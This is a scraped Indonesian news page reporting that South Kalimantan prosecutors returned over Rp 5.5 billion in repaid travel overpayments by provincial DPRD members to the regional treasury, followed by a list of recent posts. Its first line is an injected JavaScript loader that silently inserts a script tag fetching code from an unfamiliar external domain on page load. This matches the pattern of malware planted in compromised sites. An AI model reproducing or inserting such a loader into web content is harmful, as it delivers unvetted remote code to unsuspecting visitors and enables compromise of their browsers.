(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Kejati Kembalikan Uang Kasus Kelebihan Bayar Kunker DPRD Kalsel


BANJARMASIN, Penanganan kasus kelebihan bayar perjalanan dinas Anggota Dewan dan Staf Sekretariat Daerah Provinsi Kalsel oleh Kejaksaan Tinggi Kalsel akhirnya selesai. Hal ini dibenarkan oleh Ketua DPRD Kalsel H Burhanuddin, Senin (4/3).

Menurut Burhanuddin, dewan sudah menerima tembusan surat pemberitahuan atas diserahkannya uang titipan dari Kejaksaan Tinggi Kalsel ke Kas Daerah Provinsi Kalsel yang merupakan hasil salah satu poin penyelesaian perkara. Uang titipan yang diserahkan yaitu sebesar Rp 5,5 miliar lebih sebagai tindak lanjut dari Surat Perintah Penghentian Penyidikan Nomor Print-1186/Q.3/Fd.1/09/2018 tanggal 28 September 2018. Demikian seperti dilansir tribunnews.com.

Uang tersebut merupakan dana hasil pengembalian kelebihan pembayaran para Anggota DPRD dan Staf Sekretariat Provinsi Kalsel sejak kasus ini bergulir Tahun 2015 silam. “Surat tembusan sudah kami terima, uang titipan sudah diserahkan ke Kas Daerah melalui Inspektorat sebesar Rp 5,5 miliar lebih,” kata H Burhanuddin.

Walau demikian, ia mengaku dititipi pesan oleh Kejaksaan agar anggota Dewan yang masih belum mengembalikan uang kelebihan bayar untuk segera menyelesaikannya. H Burhanuddin mengaku tidak mengetahui siapa saja yang masih belum menyelesaikan pengembalian uang kelebihan bayar perjalanan dinas tersebut.

Ia memastikan, pesan dari Kejaksaan Tinggi Kalsel sudah disampaikan ke semua unsur Pimpinan baik di Komisi maupun Fraksi di DPRD Provinsi Kalsel. “Jadi terkait kasus ini sudah di clearkan oleh pihak Kejaksaan karena mereka sudah berkoordinasi juga dengan KPK. Selanjutnya diserahkan ke pihak pemerintah,” jelasnya.

Namun menurutnya, jika pemerintah menginginkan tentu bukan tidak mungkin Kejaksaan Tinggi kembali bergerak tangani kasus tersebut. Sebelumnya selama penanganan kasus ini, Kejaksaan Tinggi Kalsel memanggil dan memintai keterangan puluhan saksi termasuk para anggota DPRD Kalsel masuk ruang penyidik.(trb)

Reporter : trb
Editor : chell

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.